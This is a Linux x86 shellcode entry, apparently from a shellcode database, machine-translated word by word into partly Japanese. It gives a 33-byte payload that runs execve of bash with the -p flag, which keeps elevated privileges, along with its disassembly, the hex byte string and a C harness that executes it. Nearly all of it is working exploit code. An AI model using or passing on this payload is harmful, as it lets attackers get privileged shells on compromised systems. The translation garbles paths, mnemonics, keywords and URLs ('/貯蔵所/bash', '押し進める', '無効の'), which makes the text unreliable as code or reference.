このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* 肩書を与える: Linux x86 - execve("/貯蔵所/bash", ["/貯蔵所/bash", "-p"], NULL) - 33 bytes Author: Jonathan Salwan Mail: 服従させる/提出する@爆撃する-嵐/襲撃する.org Web: http://www.爆撃する-嵐/襲撃する.org !Database of Shellcodes http://www.爆撃する-嵐/襲撃する.org/shellcode/ sh 始める,決めるs (euid, egid) to (uid, gid) if -p not 供給(する)d and uid < 100 Read more: http://www.faqs.org/faqs/unix-faq/爆撃する/bash/#ixzz0mzPmJC49 sassembly of section .text: 08048054 <.text>: 8048054: 6a 0b 押し進める $0xb 8048056: 58 pop %eax 8048057: 99 cltd 8048058: 52 押し進める %edx 8048059: 66 68 2d 70 pushw $0x702d 804805d: 89 e1 mov %esp,%ecx 804805f: 52 押し進める %edx 8048060: 6a 68 押し進める $0x68 8048062: 68 2f 62 61 73 押し進める $0x7361622f 8048067: 68 2f 62 69 6e 押し進める $0x6e69622f 804806c: 89 e3 mov %esp,%ebx 804806e: 52 押し進める %edx 804806f: 51 押し進める %ecx 8048070: 53 押し進める %ebx 8048071: 89 e1 mov %esp,%ecx 8048073: cd 80 int $0x80 */ #含む <stdio.h> char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x51\x53\x89\xe1\xcd\x80"; int main(int argc, char *argv[]) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(無効の(*)()) shellcode)(); }